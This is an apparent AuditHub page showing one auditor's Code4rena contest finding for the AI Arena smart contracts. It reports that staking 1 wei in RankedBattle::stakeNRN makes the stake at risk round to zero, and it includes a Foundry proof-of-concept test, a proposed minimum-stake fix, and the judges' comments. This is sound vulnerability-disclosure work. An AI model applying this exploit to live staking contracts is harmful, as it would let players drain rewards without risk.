AI Arena - Merulez99's results

In AI Arena you train an AI character to battle in a platform fighting game. Imagine a cross between Pokémon and Super Smash Bros, but the characters are AIs, and you can train them to learn almost any skill in preparation for battle.

General Information

Platform: Code4rena

Start Date: 09/02/2024

Pot Size: $60,500 USDC

Total HM: 17

Participants: 283

Period: 12 days

Judge:

Id: 328

League: ETH

AI Arena

Findings Distribution

Researcher Performance

Rank: 208/283

Findings: 1

Award: $2.06

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L244 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L439

Vulnerability details

[H-1] Staking 1 wei in RankedBattle::stakeNRN leads to a rounding error and exploit in the system.

Description:

The RankedBattle::stakeNRN function enables a player to stake 1 wei, doing so the player is eligible to battle for points. Thus,in the curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10 ** 4 calculation ,the value gets rounded down to 0,because the division results in a decimal number and it rounds down to the nearest number. This error leads to risk-free guaranteed losses for the player , making it impossible for the player to lose any tokens, granting him only a winnable outcome.

Proof of Concept:

  1. The player gets 1 fighter minted.
  2. The player stakes 1 wei in the RankedBattle::stakeNRN function,which is enabling him to battle for points.
  3. Player loses the battle, but his stakeAtRisk tokens are 0. (i've lost 2 times in a row in the PoC for further proof).
  4. Player wins inevitably and receives the promised points.

Place the following test into StakeAtRisk.t.sol.


 function testGetStakeAtRisk() public {
       address player = vm.addr(3);
       uint256 STAKE_AMOUNT = 0.000000000000000001 * 10 ** 18; // 1 wei Neuron
       uint256 tokenId = 0;
       // player gets a fighter
       _mintFromMergingPool(player); // tokenId - 0
       // player gets NRN
       _fundUserWith4kNeuronByTreasury(player);
       vm.prank(player);
       // player stakes NRN
       _rankedBattleContract.stakeNRN(STAKE_AMOUNT, 0);
       assertEq(_rankedBattleContract.amountStaked(0), STAKE_AMOUNT); // true

       console.log("AmountStaked:", _rankedBattleContract.amountStaked(tokenId));

       // player battles
       vm.prank(address(_GAME_SERVER_ADDRESS));
       // loses battle
       _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
       uint256 curStakeAtRiskAfter1stLostBattle = (
           10 * (_rankedBattleContract.amountStaked(tokenId) + _stakeAtRiskContract.getStakeAtRisk(tokenId))
       ) / 10 ** 4;
       uint256 amountStakedAfter1stLostBattle = _rankedBattleContract.amountStaked(tokenId);
       uint256 stakeAtRiskAfter1stLostBattle = _stakeAtRiskContract.getStakeAtRisk(tokenId);
       assertEq(stakeAtRiskAfter1stLostBattle, 0);

       // 0 risk for the player 
       console.log("StakeAtRisk_After_1st_LostBattle:", _stakeAtRiskContract.getStakeAtRisk(tokenId));
       console.log("AmountStaked_After_1st_LostBattle:", _rankedBattleContract.amountStaked(tokenId));
       console.log("curStakeAtRisk_After_1st_LostBattle:", curStakeAtRiskAfter1stLostBattle);

       // loses battle for 2nd time
       vm.prank(address(_GAME_SERVER_ADDRESS));
       _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);
       uint256 curStakeAtRiskAfter2ndLostBattle =
           (10 * (amountStakedAfter1stLostBattle + stakeAtRiskAfter1stLostBattle)) / 10 ** 4;
       uint256 stakeAtRiskAfter2ndLostBattleShouldBe = stakeAtRiskAfter1stLostBattle + curStakeAtRiskAfter2ndLostBattle;
       uint256 amountStakedAfter2ndLostBattleShouldBe =
           amountStakedAfter1stLostBattle - curStakeAtRiskAfter2ndLostBattle;
       assertEq(_rankedBattleContract.amountStaked(tokenId), amountStakedAfter2ndLostBattleShouldBe);
       assertEq(_stakeAtRiskContract.getStakeAtRisk(tokenId), stakeAtRiskAfter2ndLostBattleShouldBe);

       console.log("curStakeAtRisk_After_2nd_LostBattle:", curStakeAtRiskAfter2ndLostBattle);
       console.log("AmountStaked_After_2nd_LostBattle::", _rankedBattleContract.amountStaked(tokenId));
       console.log("stakeAtRisk_After_2nd_LostBattle:", _stakeAtRiskContract.getStakeAtRisk(tokenId));
       console.log("AmountToBeLost:", _stakeAtRiskContract.amountLost(player));

       // player wins
       vm.prank(address(_GAME_SERVER_ADDRESS));
       _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
       // The player has 750 points
       assertEq(_rankedBattleContract.accumulatedPointsPerFighter(tokenId, 0), 750);
       
       console.log("stakeAtRisk_After_2_LostBattles_And_1Win:", _stakeAtRiskContract.getStakeAtRisk(tokenId));
       console.log(
           "AccumulatedPointsPerFigter_After_2_LostBattles_And_1Win:",
           _rankedBattleContract.accumulatedPointsPerFighter(tokenId, 0)
       );

I will consider the staking amount to be atleast 1e18, not allowing the users to stake a smaller unit than Ether, potentially rounding the amount to 0.

        function stakeNRN(uint256 amount, uint256 tokenId) external {
-        require(amount > 0, "Amount cannot be 0");
+        require(amount >= 1e18, "Amount must be atleast 1");
        require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
        require(_neuronInstance.balanceOf(msg.sender) >= amount, "Stake amount exceeds balance");
        require(hasUnstaked[tokenId][roundId] == false, "Cannot add stake after unstaking this round");

        _neuronInstance.approveStaker(msg.sender, address(this), amount);
        bool success = _neuronInstance.transferFrom(msg.sender, address(this), amount);
        if (success) {
            if (amountStaked[tokenId] == 0) {
                _fighterFarmInstance.updateFighterStaking(tokenId, true);
            }
            amountStaked[tokenId] += amount;
            globalStakedAmount += amount;
            stakingFactor[tokenId] = _getStakingFactor( // e math calculations
            tokenId, _stakeAtRiskInstance.getStakeAtRisk(tokenId));
            _calculatedStakingFactor[tokenId][roundId] = true;
            emit Staked(msg.sender, amount);
        }
    }
 

Assessed type

Math

#0 - c4-pre-sort

2024-02-22T16:07:52Z

raymondfam marked the issue as insufficient quality report

#1 - c4-pre-sort

2024-02-22T16:08:00Z

raymondfam marked the issue as duplicate of #38

#2 - c4-judge

2024-03-07T02:49:49Z

HickupHH3 changed the severity to 2 (Med Risk)

#3 - c4-judge

2024-03-07T02:58:22Z

HickupHH3 changed the severity to 3 (High Risk)

#4 - c4-judge

2024-03-07T03:17:16Z

HickupHH3 marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter